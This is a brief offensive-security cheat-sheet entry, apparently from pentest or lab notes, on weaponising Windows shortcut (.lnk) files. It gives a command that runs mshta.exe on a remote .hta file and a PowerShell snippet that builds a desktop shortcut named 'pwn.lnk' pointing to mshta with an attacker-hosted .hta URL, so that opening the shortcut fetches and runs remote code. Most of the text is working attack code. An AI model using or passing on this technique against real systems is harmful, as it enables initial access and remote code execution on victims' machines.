Windows Shortcut (.lnk)

Can be used to execute commands:

C:\Windows\System32\mshta.exe http://192.168.45.242/platform.hta

In this example, a remote .hta file is executed using mshta.exe

$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\rtopfer\Desktop\pwn.lnk")
$Shortcut.TargetPath = "C:\Windows\System32\mshta.exe"
$Shortcut.Arguments = "http://10.10.14.4/platform.hta"
$Shortcut.Save()